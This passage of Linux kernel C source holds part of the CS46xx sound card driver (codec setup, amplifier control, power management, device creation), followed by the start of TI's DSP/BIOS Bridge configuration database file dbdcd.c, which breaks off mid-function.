AC97 codec. */ snd_cs46xx_pokeBA0(chip, BA0_ACCTL, ACCTL_VFRM | ACCTL_ESYN | ACCTL_RSTN); #ifdef CONFIG_SND_CS46XX_NEW_DSP snd_cs46xx_pokeBA0(chip, BA0_ACCTL2, ACCTL_VFRM | ACCTL_ESYN | ACCTL_RSTN); #endif /* * Wait until we've sampled input slots 3 and 4 as valid, meaning that * the codec is pumping ADC data across the AC-link. */ timeout = 150; while (timeout-- > 0) { /* * Read the input slot valid register and see if input slots 3 and * 4 are valid yet. */ if ((snd_cs46xx_peekBA0(chip, BA0_ACISV) & (ACISV_ISV3 | ACISV_ISV4)) == (ACISV_ISV3 | ACISV_ISV4)) goto ok2; msleep(10); } #ifndef CONFIG_SND_CS46XX_NEW_DSP dev_err(chip->card->dev, "create - never read ISV3 & ISV4 from AC'97\n"); return -EIO; #else /* This may happen on a cold boot with a Terratec SiXPack 5.1. Reloading the driver may help, if there's other soundcards with the same problem I would like to know. (Benny) */ dev_err(chip->card->dev, "never read ISV3 & ISV4 from AC'97\n"); dev_err(chip->card->dev, "Try reloading the ALSA driver, if you find something\n"); dev_err(chip->card->dev, "broken or not working on your soundcard upon\n"); dev_err(chip->card->dev, "this message please report to [email protected]\n"); return -EIO; #endif ok2: /* * Now, assert valid frame and the slot 3 and 4 valid bits. This will * commense the transfer of digital audio data to the AC97 codec. */ snd_cs46xx_pokeBA0(chip, BA0_ACOSV, ACOSV_SLV3 | ACOSV_SLV4); /* * Power down the DAC and ADC. We will power them up (if) when we need * them. */ /* snd_cs46xx_pokeBA0(chip, BA0_AC97_POWERDOWN, 0x300); */ /* * Turn off the Processor by turning off the software clock enable flag in * the clock control register. */ /* tmp = snd_cs46xx_peekBA0(chip, BA0_CLKCR1) & ~CLKCR1_SWCE; */ /* snd_cs46xx_pokeBA0(chip, BA0_CLKCR1, tmp); */ return 0; } /* * start and load DSP */ static void cs46xx_enable_stream_irqs(struct snd_cs46xx *chip) { unsigned int tmp; snd_cs46xx_pokeBA0(chip, BA0_HICR, HICR_IEV | HICR_CHGM); tmp = snd_cs46xx_peek(chip, BA1_PFIE); tmp &= ~0x0000f03f; snd_cs46xx_poke(chip, BA1_PFIE, tmp); /* playback interrupt enable */ tmp = snd_cs46xx_peek(chip, BA1_CIE); tmp &= ~0x0000003f; tmp |= 0x00000001; snd_cs46xx_poke(chip, BA1_CIE, tmp); /* capture interrupt enable */ } int snd_cs46xx_start_dsp(struct snd_cs46xx *chip) { unsigned int tmp; #ifdef CONFIG_SND_CS46XX_NEW_DSP int i; #endif int err; /* * Reset the processor. */ snd_cs46xx_reset(chip); /* * Download the image to the processor. */ #ifdef CONFIG_SND_CS46XX_NEW_DSP for (i = 0; i < CS46XX_DSP_MODULES; i++) { err = load_firmware(chip, &chip->modules[i], module_names[i]); if (err < 0) { dev_err(chip->card->dev, "firmware load error [%s]\n", module_names[i]); return err; } err = cs46xx_dsp_load_module(chip, chip->modules[i]); if (err < 0) { dev_err(chip->card->dev, "image download error [%s]\n", module_names[i]); return err; } } if (cs46xx_dsp_scb_and_task_init(chip) < 0) return -EIO; #else err = load_firmware(chip); if (err < 0) return err; /* old image */ err = snd_cs46xx_download_image(chip); if (err < 0) { dev_err(chip->card->dev, "image download error\n"); return err; } /* * Stop playback DMA. */ tmp = snd_cs46xx_peek(chip, BA1_PCTL); chip->play_ctl = tmp & 0xffff0000; snd_cs46xx_poke(chip, BA1_PCTL, tmp & 0x0000ffff); #endif /* * Stop capture DMA. */ tmp = snd_cs46xx_peek(chip, BA1_CCTL); chip->capt.ctl = tmp & 0x0000ffff; snd_cs46xx_poke(chip, BA1_CCTL, tmp & 0xffff0000); mdelay(5); snd_cs46xx_set_play_sample_rate(chip, 8000); snd_cs46xx_set_capture_sample_rate(chip, 8000); snd_cs46xx_proc_start(chip); cs46xx_enable_stream_irqs(chip); #ifndef CONFIG_SND_CS46XX_NEW_DSP /* set the attenuation to 0dB */ snd_cs46xx_poke(chip, BA1_PVOL, 0x80008000); snd_cs46xx_poke(chip, BA1_CVOL, 0x80008000); #endif return 0; } /* * AMP control - null AMP */ static void amp_none(struct snd_cs46xx *chip, int change) { } #ifdef CONFIG_SND_CS46XX_NEW_DSP static int voyetra_setup_eapd_slot(struct snd_cs46xx *chip) { u32 idx, valid_slots,tmp,powerdown = 0; u16 modem_power,pin_config,logic_type; dev_dbg(chip->card->dev, "cs46xx_setup_eapd_slot()+\n"); /* * See if the devices are powered down. If so, we must power them up first * or they will not respond. */ tmp = snd_cs46xx_peekBA0(chip, BA0_CLKCR1); if (!(tmp & CLKCR1_SWCE)) { snd_cs46xx_pokeBA0(chip, BA0_CLKCR1, tmp | CLKCR1_SWCE); powerdown = 1; } /* * Clear PRA. The Bonzo chip will be used for GPIO not for modem * stuff. */ if(chip->nr_ac97_codecs != 2) { dev_err(chip->card->dev, "cs46xx_setup_eapd_slot() - no secondary codec configured\n"); return -EINVAL; } modem_power = snd_cs46xx_codec_read (chip, AC97_EXTENDED_MSTATUS, CS46XX_SECONDARY_CODEC_INDEX); modem_power &=0xFEFF; snd_cs46xx_codec_write(chip, AC97_EXTENDED_MSTATUS, modem_power, CS46XX_SECONDARY_CODEC_INDEX); /* * Set GPIO pin's 7 and 8 so that they are configured for output. */ pin_config = snd_cs46xx_codec_read (chip, AC97_GPIO_CFG, CS46XX_SECONDARY_CODEC_INDEX); pin_config &=0x27F; snd_cs46xx_codec_write(chip, AC97_GPIO_CFG, pin_config, CS46XX_SECONDARY_CODEC_INDEX); /* * Set GPIO pin's 7 and 8 so that they are compatible with CMOS logic. */ logic_type = snd_cs46xx_codec_read(chip, AC97_GPIO_POLARITY, CS46XX_SECONDARY_CODEC_INDEX); logic_type &=0x27F; snd_cs46xx_codec_write (chip, AC97_GPIO_POLARITY, logic_type, CS46XX_SECONDARY_CODEC_INDEX); valid_slots = snd_cs46xx_peekBA0(chip, BA0_ACOSV); valid_slots |= 0x200; snd_cs46xx_pokeBA0(chip, BA0_ACOSV, valid_slots); if ( cs46xx_wait_for_fifo(chip,1) ) { dev_dbg(chip->card->dev, "FIFO is busy\n"); return -EINVAL; } /* * Fill slots 12 with the correct value for the GPIO pins. */ for(idx = 0x90; idx <= 0x9F; idx++) { /* * Initialize the fifo so that bits 7 and 8 are on. * * Remember that the GPIO pins in bonzo are shifted by 4 bits to * the left. 0x1800 corresponds to bits 7 and 8. */ snd_cs46xx_pokeBA0(chip, BA0_SERBWP, 0x1800); /* * Wait for command to complete */ if ( cs46xx_wait_for_fifo(chip,200) ) { dev_dbg(chip->card->dev, "failed waiting for FIFO at addr (%02X)\n", idx); return -EINVAL; } /* * Write the serial port FIFO index. */ snd_cs46xx_pokeBA0(chip, BA0_SERBAD, idx); /* * Tell the serial port to load the new value into the FIFO location. */ snd_cs46xx_pokeBA0(chip, BA0_SERBCM, SERBCM_WRC); } /* wait for last command to complete */ cs46xx_wait_for_fifo(chip,200); /* * Now, if we powered up the devices, then power them back down again. * This is kinda ugly, but should never happen. */ if (powerdown) snd_cs46xx_pokeBA0(chip, BA0_CLKCR1, tmp); return 0; } #endif /* * Crystal EAPD mode */ static void amp_voyetra(struct snd_cs46xx *chip, int change) { /* Manage the EAPD bit on the Crystal 4297 and the Analog AD1885 */ #ifdef CONFIG_SND_CS46XX_NEW_DSP int old = chip->amplifier; #endif int oval, val; chip->amplifier += change; oval = snd_cs46xx_codec_read(chip, AC97_POWERDOWN, CS46XX_PRIMARY_CODEC_INDEX); val = oval; if (chip->amplifier) { /* Turn the EAPD amp on */ val |= 0x8000; } else { /* Turn the EAPD amp off */ val &= ~0x8000; } if (val != oval) { snd_cs46xx_codec_write(chip, AC97_POWERDOWN, val, CS46XX_PRIMARY_CODEC_INDEX); if (chip->eapd_switch) snd_ctl_notify(chip->card, SNDRV_CTL_EVENT_MASK_VALUE, &chip->eapd_switch->id); } #ifdef CONFIG_SND_CS46XX_NEW_DSP if (chip->amplifier && !old) { voyetra_setup_eapd_slot(chip); } #endif } static void hercules_init(struct snd_cs46xx *chip) { /* default: AMP off, and SPDIF input optical */ snd_cs46xx_pokeBA0(chip, BA0_EGPIODR, EGPIODR_GPOE0); snd_cs46xx_pokeBA0(chip, BA0_EGPIOPTR, EGPIODR_GPOE0); } /* * Game Theatre XP card - EGPIO[2] is used to enable the external amp. */ static void amp_hercules(struct snd_cs46xx *chip, int change) { int old = chip->amplifier; int val1 = snd_cs46xx_peekBA0(chip, BA0_EGPIODR); int val2 = snd_cs46xx_peekBA0(chip, BA0_EGPIOPTR); chip->amplifier += change; if (chip->amplifier && !old) { dev_dbg(chip->card->dev, "Hercules amplifier ON\n"); snd_cs46xx_pokeBA0(chip, BA0_EGPIODR, EGPIODR_GPOE2 | val1); /* enable EGPIO2 output */ snd_cs46xx_pokeBA0(chip, BA0_EGPIOPTR, EGPIOPTR_GPPT2 | val2); /* open-drain on output */ } else if (old && !chip->amplifier) { dev_dbg(chip->card->dev, "Hercules amplifier OFF\n"); snd_cs46xx_pokeBA0(chip, BA0_EGPIODR, val1 & ~EGPIODR_GPOE2); /* disable */ snd_cs46xx_pokeBA0(chip, BA0_EGPIOPTR, val2 & ~EGPIOPTR_GPPT2); /* disable */ } } static void voyetra_mixer_init (struct snd_cs46xx *chip) { dev_dbg(chip->card->dev, "initializing Voyetra mixer\n"); /* Enable SPDIF out */ snd_cs46xx_pokeBA0(chip, BA0_EGPIODR, EGPIODR_GPOE0); snd_cs46xx_pokeBA0(chip, BA0_EGPIOPTR, EGPIODR_GPOE0); } static void hercules_mixer_init (struct snd_cs46xx *chip) { #ifdef CONFIG_SND_CS46XX_NEW_DSP unsigned int idx; int err; struct snd_card *card = chip->card; #endif /* set EGPIO to default */ hercules_init(chip); dev_dbg(chip->card->dev, "initializing Hercules mixer\n"); #ifdef CONFIG_SND_CS46XX_NEW_DSP if (chip->in_suspend) return; for (idx = 0 ; idx < ARRAY_SIZE(snd_hercules_controls); idx++) { struct snd_kcontrol *kctl; kctl = snd_ctl_new1(&snd_hercules_controls[idx], chip); if ((err = snd_ctl_add(card, kctl)) < 0) { dev_err(card->dev, "failed to initialize Hercules mixer (%d)\n", err); break; } } #endif } #if 0 /* * Untested */ static void amp_voyetra_4294(struct snd_cs46xx *chip, int change) { chip->amplifier += change; if (chip->amplifier) { /* Switch the GPIO pins 7 and 8 to open drain */ snd_cs46xx_codec_write(chip, 0x4C, snd_cs46xx_codec_read(chip, 0x4C) & 0xFE7F); snd_cs46xx_codec_write(chip, 0x4E, snd_cs46xx_codec_read(chip, 0x4E) | 0x0180); /* Now wake the AMP (this might be backwards) */ snd_cs46xx_codec_write(chip, 0x54, snd_cs46xx_codec_read(chip, 0x54) & ~0x0180); } else { snd_cs46xx_codec_write(chip, 0x54, snd_cs46xx_codec_read(chip, 0x54) | 0x0180); } } #endif /* * Handle the CLKRUN on a thinkpad. We must disable CLKRUN support * whenever we need to beat on the chip. * * The original idea and code for this hack comes from David Kaiser at * Linuxcare. Perhaps one day Crystal will document their chips well * enough to make them useful. */ static void clkrun_hack(struct snd_cs46xx *chip, int change) { u16 control, nval; if (!chip->acpi_port) return; chip->amplifier += change; /* Read ACPI port */ nval = control = inw(chip->acpi_port + 0x10); /* Flip CLKRUN off while running */ if (! chip->amplifier) nval |= 0x2000; else nval &= ~0x2000; if (nval != control) outw(nval, chip->acpi_port + 0x10); } /* * detect intel piix4 */ static void clkrun_init(struct snd_cs46xx *chip) { struct pci_dev *pdev; u8 pp; chip->acpi_port = 0; pdev = pci_get_device(PCI_VENDOR_ID_INTEL, PCI_DEVICE_ID_INTEL_82371AB_3, NULL); if (pdev == NULL) return; /* Not a thinkpad thats for sure */ /* Find the control port */ pci_read_config_byte(pdev, 0x41, &pp); chip->acpi_port = pp << 8; pci_dev_put(pdev); } /* * Card subid table */ struct cs_card_type { u16 vendor; u16 id; char *name; void (*init)(struct snd_cs46xx *); void (*amp)(struct snd_cs46xx *, int); void (*active)(struct snd_cs46xx *, int); void (*mixer_init)(struct snd_cs46xx *); }; static struct cs_card_type cards[] = { { .vendor = 0x1489, .id = 0x7001, .name = "Genius Soundmaker 128 value", /* nothing special */ }, { .vendor = 0x5053, .id = 0x3357, .name = "Voyetra", .amp = amp_voyetra, .mixer_init = voyetra_mixer_init, }, { .vendor = 0x1071, .id = 0x6003, .name = "Mitac MI6020/21", .amp = amp_voyetra, }, /* Hercules Game Theatre XP */ { .vendor = 0x14af, /* Guillemot Corporation */ .id = 0x0050, .name = "Hercules Game Theatre XP", .amp = amp_hercules, .mixer_init = hercules_mixer_init, }, { .vendor = 0x1681, .id = 0x0050, .name = "Hercules Game Theatre XP", .amp = amp_hercules, .mixer_init = hercules_mixer_init, }, { .vendor = 0x1681, .id = 0x0051, .name = "Hercules Game Theatre XP", .amp = amp_hercules, .mixer_init = hercules_mixer_init, }, { .vendor = 0x1681, .id = 0x0052, .name = "Hercules Game Theatre XP", .amp = amp_hercules, .mixer_init = hercules_mixer_init, }, { .vendor = 0x1681, .id = 0x0053, .name = "Hercules Game Theatre XP", .amp = amp_hercules, .mixer_init = hercules_mixer_init, }, { .vendor = 0x1681, .id = 0x0054, .name = "Hercules Game Theatre XP", .amp = amp_hercules, .mixer_init = hercules_mixer_init, }, /* Herculess Fortissimo */ { .vendor = 0x1681, .id = 0xa010, .name = "Hercules Gamesurround Fortissimo II", }, { .vendor = 0x1681, .id = 0xa011, .name = "Hercules Gamesurround Fortissimo III 7.1", }, /* Teratec */ { .vendor = 0x153b, .id = 0x112e, .name = "Terratec DMX XFire 1024", }, { .vendor = 0x153b, .id = 0x1136, .name = "Terratec SiXPack 5.1", }, /* Not sure if the 570 needs the clkrun hack */ { .vendor = PCI_VENDOR_ID_IBM, .id = 0x0132, .name = "Thinkpad 570", .init = clkrun_init, .active = clkrun_hack, }, { .vendor = PCI_VENDOR_ID_IBM, .id = 0x0153, .name = "Thinkpad 600X/A20/T20", .init = clkrun_init, .active = clkrun_hack, }, { .vendor = PCI_VENDOR_ID_IBM, .id = 0x1010, .name = "Thinkpad 600E (unsupported)", }, {} /* terminator */ }; /* * APM support */ #ifdef CONFIG_PM_SLEEP static const unsigned int saved_regs[] = { BA0_ACOSV, /*BA0_ASER_FADDR,*/ BA0_ASER_MASTER, BA1_PVOL, BA1_CVOL, }; static int snd_cs46xx_suspend(struct device *dev) { struct snd_card *card = dev_get_drvdata(dev); struct snd_cs46xx *chip = card->private_data; int i, amp_saved; snd_power_change_state(card, SNDRV_CTL_POWER_D3hot); chip->in_suspend = 1; // chip->ac97_powerdown = snd_cs46xx_codec_read(chip, AC97_POWER_CONTROL); // chip->ac97_general_purpose = snd_cs46xx_codec_read(chip, BA0_AC97_GENERAL_PURPOSE); snd_ac97_suspend(chip->ac97[CS46XX_PRIMARY_CODEC_INDEX]); snd_ac97_suspend(chip->ac97[CS46XX_SECONDARY_CODEC_INDEX]); /* save some registers */ for (i = 0; i < ARRAY_SIZE(saved_regs); i++) chip->saved_regs[i] = snd_cs46xx_peekBA0(chip, saved_regs[i]); amp_saved = chip->amplifier; /* turn off amp */ chip->amplifier_ctrl(chip, -chip->amplifier); snd_cs46xx_hw_stop(chip); /* disable CLKRUN */ chip->active_ctrl(chip, -chip->amplifier); chip->amplifier = amp_saved; /* restore the status */ return 0; } static int snd_cs46xx_resume(struct device *dev) { struct snd_card *card = dev_get_drvdata(dev); struct snd_cs46xx *chip = card->private_data; int amp_saved; #ifdef CONFIG_SND_CS46XX_NEW_DSP int i; #endif unsigned int tmp; amp_saved = chip->amplifier; chip->amplifier = 0; chip->active_ctrl(chip, 1); /* force to on */ snd_cs46xx_chip_init(chip); snd_cs46xx_reset(chip); #ifdef CONFIG_SND_CS46XX_NEW_DSP cs46xx_dsp_resume(chip); /* restore some registers */ for (i = 0; i < ARRAY_SIZE(saved_regs); i++) snd_cs46xx_pokeBA0(chip, saved_regs[i], chip->saved_regs[i]); #else snd_cs46xx_download_image(chip); #endif #if 0 snd_cs46xx_codec_write(chip, BA0_AC97_GENERAL_PURPOSE, chip->ac97_general_purpose); snd_cs46xx_codec_write(chip, AC97_POWER_CONTROL, chip->ac97_powerdown); mdelay(10); snd_cs46xx_codec_write(chip, BA0_AC97_POWERDOWN, chip->ac97_powerdown); mdelay(5); #endif snd_ac97_resume(chip->ac97[CS46XX_PRIMARY_CODEC_INDEX]); snd_ac97_resume(chip->ac97[CS46XX_SECONDARY_CODEC_INDEX]); /* * Stop capture DMA. */ tmp = snd_cs46xx_peek(chip, BA1_CCTL); chip->capt.ctl = tmp & 0x0000ffff; snd_cs46xx_poke(chip, BA1_CCTL, tmp & 0xffff0000); mdelay(5); /* reset playback/capture */ snd_cs46xx_set_play_sample_rate(chip, 8000); snd_cs46xx_set_capture_sample_rate(chip, 8000); snd_cs46xx_proc_start(chip); cs46xx_enable_stream_irqs(chip); if (amp_saved) chip->amplifier_ctrl(chip, 1); /* turn amp on */ else chip->active_ctrl(chip, -1); /* disable CLKRUN */ chip->amplifier = amp_saved; chip->in_suspend = 0; snd_power_change_state(card, SNDRV_CTL_POWER_D0); return 0; } SIMPLE_DEV_PM_OPS(snd_cs46xx_pm, snd_cs46xx_suspend, snd_cs46xx_resume); #endif /* CONFIG_PM_SLEEP */ /* */ int snd_cs46xx_create(struct snd_card *card, struct pci_dev *pci, int external_amp, int thinkpad, struct snd_cs46xx **rchip) { struct snd_cs46xx *chip; int err, idx; struct snd_cs46xx_region *region; struct cs_card_type *cp; u16 ss_card, ss_vendor; static const struct snd_device_ops ops = { .dev_free = snd_cs46xx_dev_free, }; *rchip = NULL; /* enable PCI device */ if ((err = pci_enable_device(pci)) < 0) return err; chip = kzalloc(sizeof(*chip), GFP_KERNEL); if (chip == NULL) { pci_disable_device(pci); return -ENOMEM; } spin_lock_init(&chip->reg_lock); #ifdef CONFIG_SND_CS46XX_NEW_DSP mutex_init(&chip->spos_mutex); #endif chip->card = card; chip->pci = pci; chip->irq = -1; chip->ba0_addr = pci_resource_start(pci, 0); chip->ba1_addr = pci_resource_start(pci, 1); if (chip->ba0_addr == 0 || chip->ba0_addr == (unsigned long)~0 || chip->ba1_addr == 0 || chip->ba1_addr == (unsigned long)~0) { dev_err(chip->card->dev, "wrong address(es) - ba0 = 0x%lx, ba1 = 0x%lx\n", chip->ba0_addr, chip->ba1_addr); snd_cs46xx_free(chip); return -ENOMEM; } region = &chip->region.name.ba0; strcpy(region->name, "CS46xx_BA0"); region->base = chip->ba0_addr; region->size = CS46XX_BA0_SIZE; region = &chip->region.name.data0; strcpy(region->name, "CS46xx_BA1_data0"); region->base = chip->ba1_addr + BA1_SP_DMEM0; region->size = CS46XX_BA1_DATA0_SIZE; region = &chip->region.name.data1; strcpy(region->name, "CS46xx_BA1_data1"); region->base = chip->ba1_addr + BA1_SP_DMEM1; region->size = CS46XX_BA1_DATA1_SIZE; region = &chip->region.name.pmem; strcpy(region->name, "CS46xx_BA1_pmem"); region->base = chip->ba1_addr + BA1_SP_PMEM; region->size = CS46XX_BA1_PRG_SIZE; region = &chip->region.name.reg; strcpy(region->name, "CS46xx_BA1_reg"); region->base = chip->ba1_addr + BA1_SP_REG; region->size = CS46XX_BA1_REG_SIZE; /* set up amp and clkrun hack */ pci_read_config_word(pci, PCI_SUBSYSTEM_VENDOR_ID, &ss_vendor); pci_read_config_word(pci, PCI_SUBSYSTEM_ID, &ss_card); for (cp = &cards[0]; cp->name; cp++) { if (cp->vendor == ss_vendor && cp->id == ss_card) { dev_dbg(chip->card->dev, "hack for %s enabled\n", cp->name); chip->amplifier_ctrl = cp->amp; chip->active_ctrl = cp->active; chip->mixer_init = cp->mixer_init; if (cp->init) cp->init(chip); break; } } if (external_amp) { dev_info(chip->card->dev, "Crystal EAPD support forced on.\n"); chip->amplifier_ctrl = amp_voyetra; } if (thinkpad) { dev_info(chip->card->dev, "Activating CLKRUN hack for Thinkpad.\n"); chip->active_ctrl = clkrun_hack; clkrun_init(chip); } if (chip->amplifier_ctrl == NULL) chip->amplifier_ctrl = amp_none; if (chip->active_ctrl == NULL) chip->active_ctrl = amp_none; chip->active_ctrl(chip, 1); /* enable CLKRUN */ pci_set_master(pci); for (idx = 0; idx < 5; idx++) { region = &chip->region.idx[idx]; if ((region->resource = request_mem_region(region->base, region->size, region->name)) == NULL) { dev_err(chip->card->dev, "unable to request memory region 0x%lx-0x%lx\n", region->base, region->base + region->size - 1); snd_cs46xx_free(chip); return -EBUSY; } region->remap_addr = ioremap(region->base, region->size); if (region->remap_addr == NULL) { dev_err(chip->card->dev, "%s ioremap problem\n", region->name); snd_cs46xx_free(chip); return -ENOMEM; } } if (request_irq(pci->irq, snd_cs46xx_interrupt, IRQF_SHARED, KBUILD_MODNAME, chip)) { dev_err(chip->card->dev, "unable to grab IRQ %d\n", pci->irq); snd_cs46xx_free(chip); return -EBUSY; } chip->irq = pci->irq; card->sync_irq = chip->irq; #ifdef CONFIG_SND_CS46XX_NEW_DSP chip->dsp_spos_instance = cs46xx_dsp_spos_create(chip); if (chip->dsp_spos_instance == NULL) { snd_cs46xx_free(chip); return -ENOMEM; } #endif err = snd_cs46xx_chip_init(chip); if (err < 0) { snd_cs46xx_free(chip); return err; } if ((err = snd_device_new(card, SNDRV_DEV_LOWLEVEL, chip, &ops)) < 0) { snd_cs46xx_free(chip); return err; } snd_cs46xx_proc_init(card, chip); #ifdef CONFIG_PM_SLEEP chip->saved_regs = kmalloc_array(ARRAY_SIZE(saved_regs), sizeof(*chip->saved_regs), GFP_KERNEL); if (!chip->saved_regs) { snd_cs46xx_free(chip); return -ENOMEM; } #endif chip->active_ctrl(chip, -1); /* disable CLKRUN */ *rchip = chip; return 0; }
589361.c
/* * dbdcd.c * * DSP-BIOS Bridge driver support functions for TI OMAP processors. * * This file contains the implementation of the DSP/BIOS Bridge * Configuration Database (DCD). * * Notes: * The fxn dcd_get_objects can apply a callback fxn to each DCD object * that is located in a specified COFF file. At the moment, * dcd_auto_register, dcd_auto_unregister, and NLDR module all use * dcd_get_objects. * * Copyright (C) 2005-2006 Texas Instruments, Inc. * * This package is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. */ #include <linux/types.h> /* ----------------------------------- Host OS */ #include <dspbridge/host_os.h> /* ----------------------------------- DSP/BIOS Bridge */ #include <dspbridge/dbdefs.h> /* ----------------------------------- Platform Manager */ #include <dspbridge/cod.h> /* ----------------------------------- Others */ #include <dspbridge/uuidutil.h> /* ----------------------------------- This */ #include <dspbridge/dbdcd.h> /* ----------------------------------- Global defines. */ #define MAX_INT2CHAR_LENGTH 16 /* Max int2char len of 32 bit int */ /* Name of section containing dependent libraries */ #define DEPLIBSECT ".dspbridge_deplibs" /* DCD specific structures. */ struct dcd_manager { struct cod_manager *cod_mgr; /* Handle to COD manager object. */ }; /* Pointer to the registry support key */ static struct list_head reg_key_list; static DEFINE_SPINLOCK(dbdcd_lock); /* Global reference variables. */ static u32 refs; static u32 enum_refs; /* Helper function prototypes. */ static s32 atoi(char *psz_buf); static int get_attrs_from_buf(char *psz_buf, u32 ul_buf_size, enum dsp_dcdobjtype obj_type, struct dcd_genericobj *gen_obj); static void compress_buf(char *psz_buf, u32 ul_buf_size, s32 char_size); static char dsp_char2_gpp_char(char *word, s32 dsp_char_size); static int get_dep_lib_info(struct dcd_manager *hdcd_mgr, struct dsp_uuid *uuid_obj, u16 *num_libs, u16 *num_pers_libs, struct dsp_uuid *dep_lib_uuids, bool *prstnt_dep_libs, enum nldr_phase phase); /* * ======== dcd_auto_register ======== * Purpose: * Parses the supplied image and resigsters with DCD. */ int dcd_auto_register(struct dcd_manager *hdcd_mgr, char *sz_coff_path) { int status = 0; if (hdcd_mgr) status = dcd_get_objects(hdcd_mgr, sz_coff_path, (dcd_registerfxn) dcd_register_object, (void *)sz_coff_path); else status = -EFAULT; return status; } /* * ======== dcd_auto_unregister ======== * Purpose: * Parses the supplied DSP image and unresiters from DCD. */ int dcd_auto_unregister(struct dcd_manager *hdcd_mgr, char *sz_coff_path) { int status = 0; if (hdcd_mgr) status = dcd_get_objects(hdcd_mgr, sz_coff_path, (dcd_registerfxn) dcd_register_object, NULL); else status = -EFAULT; return status; } /* * ======== dcd_create_manager ======== * Purpose: * Creates DCD manager. */ int dcd_create_manager(char *sz_zl_dll_name, struct dcd_manager **dcd_mgr) { struct cod_manager *cod_mgr; /* COD manager handle */ struct dcd_manager *dcd_mgr_obj = NULL; /* DCD Manager pointer */ int status = 0; status = cod_create(&cod_mgr, sz_zl_dll_name); if (status) goto func_end; /* Create a DCD object. */ dcd_mgr_obj = kzalloc(sizeof(struct dcd_manager), GFP_KERNEL); if (dcd_mgr_obj != NULL) { /* Fill out the object. */ dcd_mgr_obj->cod_mgr = cod_mgr; /* Return handle to this DCD interface. */ *dcd_mgr = dcd_mgr_obj; } else { status = -ENOMEM; /* * If allocation of DcdManager object failed, delete the * COD manager. */ cod_delete(cod_mgr); } func_end: return status; } /* * ======== dcd_destroy_manager ======== * Purpose: * Frees DCD Manager object. */ int dcd_destroy_manager(struct dcd_manager *hdcd_mgr) { struct dcd_manager *dcd_mgr_obj = hdcd_mgr; int status = -EFAULT; if (hdcd_mgr) { /* Delete the COD manager. */ cod_delete(dcd_mgr_obj->cod_mgr); /* Deallocate a DCD manager object. */ kfree(dcd_mgr_obj); status = 0; } return status; } /* * ======== dcd_enumerate_object ======== * Purpose: * Enumerates objects in the DCD. */ int dcd_enumerate_object(s32 index, enum dsp_dcdobjtype obj_type, struct dsp_uuid *uuid_obj) { int status = 0; char sz_reg_key[DCD_MAXPATHLENGTH]; char sz_value[DCD_MAXPATHLENGTH]; struct dsp_uuid dsp_uuid_obj; char sz_obj_type[MAX_INT2CHAR_LENGTH]; /* str. rep. of obj_type. */ u32 dw_key_len = 0; struct dcd_key_elem *dcd_key; int len; if ((index != 0) && (enum_refs == 0)) { /* * If an enumeration is being performed on an index greater * than zero, then the current enum_refs must have been * incremented to greater than zero. */ status = -EIDRM; } else { /* * Pre-determine final key length. It's length of DCD_REGKEY + * "_\0" + length of sz_obj_type string + terminating NULL. */ dw_key_len = strlen(DCD_REGKEY) + 1 + sizeof(sz_obj_type) + 1; /* Create proper REG key; concatenate DCD_REGKEY with * obj_type. */ strncpy(sz_reg_key, DCD_REGKEY, strlen(DCD_REGKEY) + 1); if ((strlen(sz_reg_key) + strlen("_\0")) < DCD_MAXPATHLENGTH) { strncat(sz_reg_key, "_\0", 2); } else { status = -EPERM; } /* This snprintf is guaranteed not to exceed max size of an * integer. */ status = snprintf(sz_obj_type, MAX_INT2CHAR_LENGTH, "%d", obj_type); if (status == -1) { status = -EPERM; } else { status = 0; if ((strlen(sz_reg_key) + strlen(sz_obj_type)) < DCD_MAXPATHLENGTH) { strncat(sz_reg_key, sz_obj_type, strlen(sz_obj_type) + 1); } else { status = -EPERM; } } if (!status) { len = strlen(sz_reg_key); spin_lock(&dbdcd_lock); list_for_each_entry(dcd_key, &reg_key_list, link) { if (!strncmp(dcd_key->name, sz_reg_key, len) && !index--) { strncpy(sz_value, &dcd_key->name[len], strlen(&dcd_key->name[len]) + 1); break; } } spin_unlock(&dbdcd_lock); if (&dcd_key->link == &reg_key_list) status = -ENODATA; } if (!status) { /* Create UUID value using string retrieved from * registry. */ uuid_uuid_from_string(sz_value, &dsp_uuid_obj); *uuid_obj = dsp_uuid_obj; /* Increment enum_refs to update reference count. */ enum_refs++; status = 0; } else if (status == -ENODATA) { /* At the end of enumeration. Reset enum_refs. */ enum_refs = 0; /* * TODO: Revisit, this is not an error case but code * expects non-zero value. */ status = ENODATA; } else { status = -EPERM; } } return status; } /* * ======== dcd_exit ======== * Purpose: * Discontinue usage of the DCD module. */ void dcd_exit(void) { struct dcd_key_elem *rv, *rv_tmp; refs--; if (refs == 0) { list_for_each_entry_safe(rv, rv_tmp, &reg_key_list, link) { list_del(&rv->link); kfree(rv->path); kfree(rv); } } } /* * ======== dcd_get_dep_libs ======== */ int dcd_get_dep_libs(struct dcd_manager *hdcd_mgr, struct dsp_uuid *uuid_obj, u16 num_libs, struct dsp_uuid *dep_lib_uuids, bool *prstnt_dep_libs, enum nldr_phase phase) { int status = 0; status = get_dep_lib_info(hdcd_mgr, uuid_obj, &num_libs, NULL, dep_lib_uuids, prstnt_dep_libs, phase); return status; } /* * ======== dcd_get_num_dep_libs ======== */ int dcd_get_num_dep_libs(struct dcd_manager *hdcd_mgr, struct dsp_uuid *uuid_obj, u16 *num_libs, u16 *num_pers_libs, enum nldr_phase phase) { int status = 0; status = get_dep_lib_info(hdcd_mgr, uuid_obj, num_libs, num_pers_libs, NULL, NULL, phase); return status; } /* * ======== dcd_get_object_def ======== * Purpose: * Retrieves the properties of a node or processor based on the UUID and * object type. */ int dcd_get_object_def(struct dcd_manager *hdcd_mgr, struct dsp_uuid *obj_uuid, enum dsp_dcdobjtype obj_type, struct dcd_genericobj *obj_def) { struct dcd_manager *dcd_mgr_obj = hdcd_mgr; /* ptr to DCD mgr */ struct cod_libraryobj *lib = NULL; int status = 0; int len; u32 ul_addr = 0; /* Used by cod_get_section */ u32 ul_len = 0; /* Used by cod_get_section */ u32 dw_buf_size; /* Used by REG functions */ char sz_reg_key[DCD_MAXPATHLENGTH]; char *sz_uuid; /*[MAXUUIDLEN]; */ char *tmp; struct dcd_key_elem *dcd_key = NULL; char sz_sect_name[MAXUUIDLEN + 2]; /* ".[UUID]\0" */ char *psz_coff_buf; u32 